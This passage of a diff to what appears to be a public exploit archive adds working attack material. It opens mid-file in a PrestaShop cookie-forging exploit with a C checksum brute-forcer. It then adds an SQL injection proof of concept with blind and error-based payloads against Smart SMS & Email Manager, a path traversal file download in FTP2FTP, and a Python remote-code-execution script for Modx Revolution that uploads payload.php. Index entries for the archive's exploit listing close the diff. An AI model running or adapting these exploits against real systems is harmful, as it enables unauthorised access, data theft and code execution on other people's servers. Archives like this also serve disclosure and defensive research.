checksum) + + def eat_checksum(self, rotations, read_blocks): + """Adds a correction block to the cookie so that the checksum stays the + same, and the last key/value pair is freed. End represents the plaintext + that is meant to be added after the correction block. + + Initial cookie end: + ¤checksum|1234567890 + New cookie end: + ¤checksum|1234567890 ABCDEFGH + Where ABCDEFGH is the correction block. + New cookie end with added KVP: + ¤checksum|1234567890 ABCDEFGH¤customer_lastname|ABC... + + This allows to add another key/value pair, which won't be included in + the checksum computation, at the end of the cookie. This pair can be + anything and therefore include blocks with unknown plaintext. + """ + + # Add a correction block such that the CRC of the cookie does not change + # Note: the last block is supposed to be padded with spaces, but the + # code is broken. It will add 1 space instead of 7 in our case, the + # rest will be null bytes. + added = 'checksum|%010d \x00\x00\x00\x00\x00\x00' % self.checksum + current_checksum = crc32(added.encode(), self.checksum) + + # Goal: crc32(correction_block, current_checksum) == self.checksum + os.system('./crc_xor %u %u %u' % ( + current_checksum, + self.checksum, + rotations + )) + with open('./crc_xor_result', 'r') as h: + correction_block = h.read() + + print('Got correction block: %s' % correction_block) + c = self.ps.set_identity( + lastname='A' * self.ps.i + correction_block + ) + blocks = self.blocks[:-1] + [c.blocks[self.ps.p]] + read_blocks + blocks += cs(blocks) + + return ReadableCookie(self.name, blocks) + + +class ReadableCookie(Cookie): + """Cookie which ate its checksum. The last value can contain anything. + It can be used to decipher arbitrary data: + + >>> rc.extend(['SUsidYDY']).read() + 'hello123' + """ + + def __init__(self, name, value): + super().__init__(name, value) + self.response = None + + def extend(self, blocks, offset=0): + blocks = self.blocks[:-1] + blocks + blocks += cs(blocks, offset) + return self.__class__(self.name, blocks) + + def request(self): + if not self.response: + s = http_session() + response = s.get( + BASE_URL + '/index.php?mobile_theme_ok=1', + headers={ + 'Cookie': '%s=%s' % (self.name, self) + } + ) + self.response = response + return self.response + + def read(self): + response = self.request() + match = re.search(b'>````````(.*?) A+..<', response.content, flags=re.S) + if not match: + raise ValueError('Unable to find firstname/lastname in page') + return match.group(1) + + +s = http_session() + +exploit = Exploitation( + s, + CUSTOMER_EMAIL, + CUSTOMER_PASSWORD +) + +try: + exploit.run() +except Exception as e: + raise e +finally: + exploit.ps.reset() + + + +<--- crc_xor.c ---> +/* +gcc -O3 -o crc_xor crc_xor.c +*/ +#include +#include +#include +#include + + +#define MIN_VALUE 65 +#define MAX_VALUE 122 + +#define SIZE_CORRECTION_BLOCK 8 +#define OUTPUT_FILE_FORMAT "./%s_result" + +/* generated using the AUTODIN II polynomial + * x^32 + x^26 + x^23 + x^22 + x^16 + + * x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1 + */ + +char filename[32]; + +static const uint crc32tab[256] = { + 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, + 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, + 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, + 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, + 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, + 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, + 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, + 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, + 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, + 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, + 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, + 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, + 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, + 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, + 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, + 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, + 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, + 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, + 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, + 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, + 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, + 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, + 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, + 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, + 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, + 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, + 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, + 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, + 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, + 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, + 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, + 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, + 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, + 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, + 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, + 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, + 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, + 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, + 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, + 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, + 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, + 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, + 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, + 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, + 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, + 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, + 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, + 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, + 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, + 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, + 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, + 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, + 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, + 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, + 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, + 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, + 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, + 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, + 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, + 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, + 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, + 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, + 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, + 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d, +}; + +void display(char* str, char end) +{ + printf("%s%c", str, end); + fflush(stdout); +} + +/** + * Write the content of correction to a file and exit. + */ +void write_exit(char* correction, size_t s) +{ + display(correction, '\n'); + FILE* f = fopen(filename, "w"); + fwrite(correction, s, 1, f); + fclose(f); +} + + +int main(int argc, char* argv[]) +{ + uint const crcinit = strtoul(argv[1], NULL, 10) ^ 0xFFFFFFFF; + uint const goal = strtoul(argv[2], NULL, 10) ^ 0xFFFFFFFF; + uint const r = strtoul(argv[3], NULL, 10); + uint crc; + + unsigned char correction[SIZE_CORRECTION_BLOCK+1]; + uint crcs[SIZE_CORRECTION_BLOCK]; + + // Setup filename + snprintf(filename, 32, OUTPUT_FILE_FORMAT, argv[0]); + + // Set every byte to the minimum value + memset(correction, MIN_VALUE, SIZE_CORRECTION_BLOCK); + correction[SIZE_CORRECTION_BLOCK] = '\0'; + + register uint i; + + printf("crcinit=%u goal=%u rotations=%u\n", crcinit, goal, r); + + // Build original CRCs + crcs[0] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF]; + + for(i=1;i> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF]; + } + + display(correction, '\r'); + + while(1) + { + // Compare + + crc = crcs[SIZE_CORRECTION_BLOCK-1]; + + // A, r times + for(i=r;i--;) + { + crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ 'A') & 0xFF]; + } + // ¤ == 0xc2a4 + crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xc2') & 0xFF]; + crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xa4') & 0xFF]; + + if(crc == goal) + { + write_exit(correction, SIZE_CORRECTION_BLOCK); + return 0; + } + + // Update correction block + + i = SIZE_CORRECTION_BLOCK; + + while(i--) + { + correction[i]++; + if(correction[i] == 91) + correction[i] = 97; + if(correction[i] != MAX_VALUE) + break; + correction[i] = MIN_VALUE; + } + + if(i <= SIZE_CORRECTION_BLOCK - 4) + display(correction, '\r'); + + // If we reached the first byte, crc[-1] does not exist + if(!i) + crcs[i++] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF]; + + // Only the last i chars were changed, no need to update the others CRCs + for(;i> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF]; + } + } + + return 1; +} + \ No newline at end of file diff --git a/exploits/php/webapps/45049.txt b/exploits/php/webapps/45049.txt new file mode 100644 index 000000000..58803ea71 --- /dev/null +++ b/exploits/php/webapps/45049.txt @@ -0,0 +1,52 @@ +# Exploit Title: Smart SMS & Email Manager v3.3 - SQL Injection +# Google Dork: N/A +# Date: 17.07.2018 +# Exploit Author: Özkan Mustafa Akkuş (AkkuS) +# Vendor Homepage: https://codecanyon.net/item/smart-sms-email-manager-ssem/14817919 +# Version: 3.3 +# Tested on: Kali linux +==================================================== +The vulnerability allows an attacker to inject sql commands +from the search section with 'contact_type_id' parameter in the admin panel. + + +# PoC : SQLi : + +http://site.net/phonebook/contact_list_data + +POST /phonebook/contact_list_data HTTP/1.1 +Host: site.net +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 +Firefox/52.0 +Accept: application/json, text/javascript, */*; q=0.01 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://site.net/phonebook/contact_list +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 141 +Cookie: +ci_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22d61b9083afe2435321ba518449f3b108%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22213.14.165.138%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A52.0%29+Gecko%2F20100101+Firefox%2F52.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1531824069%3B%7Dce4c26e8ee366999ae805f61eba75b1a; +xerone_dolphin=6811071531824070937 +Connection: keep-alive +first_name=Test&last_name=test&phone_number=5555555&email=test%40test.com +&dob=07%2F04%2F2018&contact_type_id=280&is_searched=1&page=1&rows=10 + + +Parameter: contact_type_id (POST) + Type: boolean-based blind + Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or +GROUP BY clause + Payload: client_username=tes&contact_type_id=142' RLIKE (SELECT (CASE +WHEN (5715=5715) THEN 142 ELSE 0x28 END)) AND 'Jeop' LIKE +'Jeop&permission_search=1&search_page=217722575636101&is_searched=1&page=1&rows=20 + + Type: error-based + Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP +BY clause (EXTRACTVALUE) + Payload: client_username=tes&contact_type_id=142' AND +EXTRACTVALUE(4506,CONCAT(0x5c,0x7176716271,(SELECT +(ELT(4506=4506,1))),0x7171707071)) AND 'vZFG' LIKE +'vZFG&permission_search=1&search_page=217722575636101&is_searched=1&page=1&rows=20 + +==================================================== \ No newline at end of file diff --git a/exploits/php/webapps/45054.txt b/exploits/php/webapps/45054.txt new file mode 100644 index 000000000..5727c8fa8 --- /dev/null +++ b/exploits/php/webapps/45054.txt @@ -0,0 +1,34 @@ +# Exploit Title: FTP2FTP 1.0 - Arbitrary File Download +# Dork: N/A +# Date: 18.07.2018 +# Exploit Author: Özkan Mustafa Akkuş (AkkuS) +# Vendor Homepage: https://codecanyon.net/item/ftp2ftp-server-to-server-file-transfer-php-script/21972395 +# Version: 1.0 +# Category: Webapps +# Tested on: Kali linux +# Description : The "download2.php" is vulnerable in the admin panel. +The attacker can download and read all files known by the name via 'id' parameter. + +==================================================== + + +# Vuln file : /FTP2FTP/download2.php + +1. + +# PoC : http://sitenet/FTP2FTP/download2.php?id=../index.php \ No newline at end of file diff --git a/exploits/php/webapps/45055.py b/exploits/php/webapps/45055.py new file mode 100755 index 000000000..c311781bf --- /dev/null +++ b/exploits/php/webapps/45055.py @@ -0,0 +1,85 @@ +# Exploit Title: Modx Revolution < 2.6.4 - Remote Code Execution +# Date: 2018-07-13 +# Exploit Author: Vitalii Rudnykh +# Vendor Homepage: https://modx.com/ +# Version: <= 2.6.4 +# CVE : CVE-2018-1000207 + +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +import sys +import os +import requests +from colorama import init, Fore, Style +try: + init() + + def cls(): + os.system('cls' if os.name == 'nt' else 'clear') + + cls() + + print(Fore.BLUE + + '################################################################') + print(Fore.CYAN + + '# Proof-Of-Concept for CVE-2018-1000207 (Modx Revolution)') + print('# by Vitalii Rudnykh') + print('# Thanks by AgelNash') + print('# https://github.com/a2u/CVE-2018-1000207/') + print(Fore.BLUE + + '################################################################') + print('Provided only for educational or information purposes') + print(Style.RESET_ALL) + target = input('Enter target url (example: http(s)://domain.tld/): ') + + verify = True + code = '' + + if requests.get( + target + '/connectors/system/phpthumb.php', + verify=verify).status_code != 404: + print(Fore.GREEN + '/connectors/system/phpthumb.php - found') + url = target + '/connectors/system/phpthumb.php' + payload = { + 'ctx': 'web', + 'cache_filename': '../../payload.php', + 'useRawIMoutput': '1', + 'src': '.', + 'IMresizedData': code, + 'config_prefer_imagemagick': '0' + } + + r = requests.post(url, data=payload, verify=verify) + check = requests.get(target + 'payload.php', verify=verify) + if check.text == '9bdc11de19fd93975bf9c9ec3dd7292d': + print(Fore.GREEN + 'Exploitable!\n') + else: + print(Fore.RED + 'Not exploitable!\n') + else: + print(Fore.RED + 'phpthumb.php - not found') + + if requests.get( + target + '/assets/components/gallery/connector.php', + verify=verify).status_code != 404: + print(Fore.GREEN + '/assets/components/gallery/connector.php - found') + url = target + '/assets/components/gallery/connector.php' + + payload = { + 'action': 'web/phpthumb', + 'f': 'php', + 'useRawIMoutput': '1', + 'IMresizedData': 'Ok', + 'config_prefer_imagemagick': '0' + } + r = requests.post(url, data=payload, verify=verify) + if r.text == 'Ok': + print(Fore.GREEN + 'Exploitable!\n') + else: + print(Fore.RED + 'Not exploitable!\n') + + else: + print( + Fore.RED + '/assets/components/gallery/connector.php - not found') + +except KeyboardInterrupt: + cls() \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index bf824f040..a112fd7ee 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -9818,6 +9818,7 @@ id,file,description,date,author,type,platform,port 45024,exploits/windows/local/45024.rb,"Microsoft Windows - POP/MOV SS Local Privilege Elevation (Metasploit)",2018-07-13,Metasploit,local,windows, 45026,exploits/windows/local/45026.txt,"Microsoft Enterprise Mode Site List Manager - XML External Entity Injection",2018-07-16,hyp3rlinx,local,windows, 45041,exploits/hardware/local/45041.txt,"Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway - Restricted Shell Escape",2018-07-17,LiquidWorm,local,hardware, +45048,exploits/multiple/local/45048.js,"JavaScript Core - Arbitrary Code Execution",2018-07-11,ret2,local,multiple, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -16624,8 +16625,9 @@ id,file,description,date,author,type,platform,port 45020,exploits/php/remote/45020.rb,"phpMyAdmin - (Authenticated) Remote Code Execution (Metasploit)",2018-07-13,Metasploit,remote,php,80 45025,exploits/linux/remote/45025.rb,"Hadoop YARN ResourceManager - Command Execution (Metasploit)",2018-07-13,Metasploit,remote,linux,8088 45040,exploits/hardware/remote/45040.txt,"Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway - Default Credentials",2018-07-17,LiquidWorm,remote,hardware, -45043,exploits/linux/remote/45043.rb,"QNAP Q'Center - change_passwd Command Execution (Metasploit)",2018-07-17,Metasploit,remote,linux,443 -45044,exploits/multiple/remote/45044.rb,"Nanopool Claymore Dual Miner - APIs RCE (Metasploit)",2018-07-17,Metasploit,remote,multiple,3333 +45043,exploits/linux/remote/45043.rb,"QNAP Q'Center - 'change_passwd' Command Execution (Metasploit)",2018-07-17,Metasploit,remote,linux,443 +45044,exploits/multiple/remote/45044.rb,"Nanopool Claymore Dual Miner - APIs Remote Code Execution (Metasploit)",2018-07-17,Metasploit,remote,multiple,3333 +45052,exploits/hardware/remote/45052.py,"HomeMatic Zentrale CCU2 - Remote Code Execution",2018-07-18,"Kacper Szurek",remote,hardware, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -16792,13 +16794,13 @@ id,file,description,date,author,type,platform,port 1221,exploits/php/webapps/1221.php,"CuteNews 1.4.0 - Shell Injection / Remote Command Execution",2005-09-17,rgod,webapps,php, 1225,exploits/php/webapps/1225.php,"My Little Forum 1.5 - 'SearchString' SQL Injection",2005-09-22,rgod,webapps,php, 1226,exploits/php/webapps/1226.php,"phpMyFAQ 1.5.1 - 'User-Agent' Remote Shell Injection",2005-09-23,rgod,webapps,php, -1227,exploits/php/webapps/1227.php,"MailGust 1.9 - Board Takeover SQL Injection",2005-09-24,rgod,webapps,php, +1227,exploits/php/webapps/1227.php,"MailGust 1.9 - Board Takeover (SQL Injection)",2005-09-24,rgod,webapps,php, 1236,exploits/cgi/webapps/1236.pm,"Barracuda Spam Firewall < 3.1.18 - Command Execution (Metasploit)",2005-09-27,"Nicolas Gregoire",webapps,cgi, 1237,exploits/php/webapps/1237.php,"PHP-Fusion 6.00.109 - 'msg_send' SQL Injection",2005-09-28,rgod,webapps,php, 1240,exploits/php/webapps/1240.php,"Utopia News Pro 1.1.3 - 'news.php' SQL Injection",2005-10-06,rgod,webapps,php, -1241,exploits/php/webapps/1241.php,"Cyphor 0.19 - Board Takeover SQL Injection",2005-10-08,rgod,webapps,php, +1241,exploits/php/webapps/1241.php,"Cyphor 0.19 - Board Takeover (SQL Injection)",2005-10-08,rgod,webapps,php, 1244,exploits/php/webapps/1244.pl,"phpMyAdmin 2.6.4-pl1 - Directory Traversal",2005-10-10,cXIb8O3,webapps,php, -1245,exploits/php/webapps/1245.php,"versatileBulletinBoard 1.00 RC2 - 'board takeover' SQL Injection",2005-10-10,rgod,webapps,php, +1245,exploits/php/webapps/1245.php,"versatileBulletinBoard 1.00 RC2 - Board Takeover (SQL Injection)",2005-10-10,rgod,webapps,php, 1250,exploits/php/webapps/1250.php,"w-Agora 4.2.0 - 'quicklist.php' Remote Code Execution",2005-10-14,rgod,webapps,php, 1252,exploits/asp/webapps/1252.html,"MuOnline Loopholes Web Server - 'pkok.asp' SQL Injection",2005-10-15,nukedx,webapps,asp, 1270,exploits/php/webapps/1270.php,"PHP-Nuke 7.8 - SQL Injection / Remote Command Execution",2005-10-23,rgod,webapps,php, @@ -20251,7 +20253,7 @@ id,file,description,date,author,type,platform,port 6417,exploits/php/webapps/6417.txt,"AvailScript Jobs Portal Script - 'jid' SQL Injection",2008-09-10,InjEctOr5,webapps,php, 6419,exploits/php/webapps/6419.txt,"Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload",2008-09-10,reptil,webapps,php, 6420,exploits/asp/webapps/6420.txt,"aspwebalbum 3.2 - Multiple Vulnerabilities",2008-09-10,e.wiZz!,webapps,asp, -6421,exploits/php/webapps/6421.php,"WordPress 2.6.1 - SQL Column Truncation Admin Takeover",2008-09-10,iso^kpsbr,webapps,php, +6421,exploits/php/webapps/6421.php,"WordPress 2.6.1 - Admin Takeover (SQL Column Truncation)",2008-09-10,iso^kpsbr,webapps,php, 6422,exploits/php/webapps/6422.txt,"PHPVID 1.1 - Cross-Site Scripting / SQL Injection",2008-09-10,r45c4l,webapps,php, 6423,exploits/php/webapps/6423.txt,"Zanfi CMS lite / Jaw Portal free - 'page' SQL Injection",2008-09-10,Cru3l.b0y,webapps,php, 6425,exploits/php/webapps/6425.txt,"PHPWebGallery 1.3.4 - Cross-Site Scripting / Local File Inclusion",2008-09-11,"Khashayar Fereidani",webapps,php, @@ -28333,7 +28335,7 @@ id,file,description,date,author,type,platform,port 25437,exploits/php/webapps/25437.txt,"eGroupWare 1.0 - 'index.php?cats_app' SQL Injection",2005-04-18,"GulfTech Security",webapps,php, 25438,exploits/php/webapps/25438.txt,"MVNForum 1.0 - Search Cross-Site Scripting",2005-04-18,"hoang yen",webapps,php, 25440,exploits/php/webapps/25440.txt,"WordPress Plugin wp-FileManager - Arbitrary File Download",2013-05-14,ByEge,webapps,php, -25441,exploits/php/webapps/25441.txt,"Invision Power Board 1.x?/2.x/3.x - Admin Account Takeover",2013-05-14,"John JEAN",webapps,php, +25441,exploits/php/webapps/25441.txt,"Invision Power Board 1.x?/2.x/3.x - Admin Takeover",2013-05-14,"John JEAN",webapps,php, 25442,exploits/php/webapps/25442.txt,"WHMCS 4.x - 'invoicefunctions.php?id' SQL Injection",2013-05-14,"Ahmed Aboul-Ela",webapps,php, 25447,exploits/php/webapps/25447.txt,"Alienvault Open Source SIEM (OSSIM) 4.1.2 - Multiple SQL Injections",2013-05-14,RunRunLevel,webapps,php, 25449,exploits/php/webapps/25449.txt,"UMI CMS 2.9 - Cross-Site Request Forgery",2013-05-14,"High-Tech Bridge SA",webapps,php, @@ -37997,7 +37999,7 @@ id,file,description,date,author,type,platform,port 41150,exploits/php/webapps/41150.md,"MyBB < 1.8.3 (with PHP 5.6 < 5.6.11) - Remote Code Execution",2017-01-20,"Taoguang Chen",webapps,php,80 41155,exploits/php/webapps/41155.txt,"Movie Portal Script 7.36 - Multiple Vulnerabilities",2017-01-25,"Marc Castejon",webapps,php, 41156,exploits/php/webapps/41156.py,"Joomla! < 2.5.2 - Admin Creation",2017-01-20,"Charles Fol",webapps,php, -41157,exploits/php/webapps/41157.py,"Joomla! < 3.6.4 - Admin TakeOver",2017-01-20,"Charles Fol",webapps,php, +41157,exploits/php/webapps/41157.py,"Joomla! < 3.6.4 - Admin Takeover",2017-01-20,"Charles Fol",webapps,php, 41159,exploits/php/webapps/41159.txt,"PHP PEAR HTTP_Upload 1.0.0b3 - Arbitrary File Upload",2017-01-26,hyp3rlinx,webapps,php, 41166,exploits/php/webapps/41166.txt,"KB Affiliate Referral Script 1.0 - Authentication Bypass",2017-01-26,"Ihsan Sencan",webapps,php, 41167,exploits/php/webapps/41167.txt,"KB Login Authentication Script 1.1 - Authentication Bypass",2017-01-26,"Ihsan Sencan",webapps,php, @@ -39675,3 +39677,9 @@ id,file,description,date,author,type,platform,port 45036,exploits/hardware/webapps/45036.txt,"Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway - Configuration Download",2018-07-17,LiquidWorm,webapps,hardware, 45037,exploits/hardware/webapps/45037.txt,"Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway - File Manipulation",2018-07-17,LiquidWorm,webapps,hardware, 45038,exploits/hardware/webapps/45038.txt,"Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway - Remote Root",2018-07-17,LiquidWorm,webapps,hardware, +45046,exploits/php/webapps/45046.py,"PrestaShop < 1.6.1.19 - 'AES CBC' Privilege Escalation",2018-07-16,"Charles Fol",webapps,php, +45047,exploits/php/webapps/45047.txt,"PrestaShop < 1.6.1.19 - 'BlowFish ECD' Privilege Escalation",2018-07-16,"Charles Fol",webapps,php, +45049,exploits/php/webapps/45049.txt,"Smart SMS & Email Manager 3.3 - 'contact_type_id' SQL Injection",2018-07-18,AkkuS,webapps,php,80 +45053,exploits/multiple/webapps/45053.txt,"Open-AudIT Community 2.1.1 - Cross-Site Scripting",2018-07-18,"Ranjeet Jaiswal",webapps,multiple, +45054,exploits/php/webapps/45054.txt,"FTP2FTP 1.0 - Arbitrary File Download",2018-07-18,AkkuS,webapps,php, +45055,exploits/php/webapps/45055.py,"Modx Revolution < 2.6.4 - Remote Code Execution",2018-07-18,"Vitalii Rudnykh",webapps,php,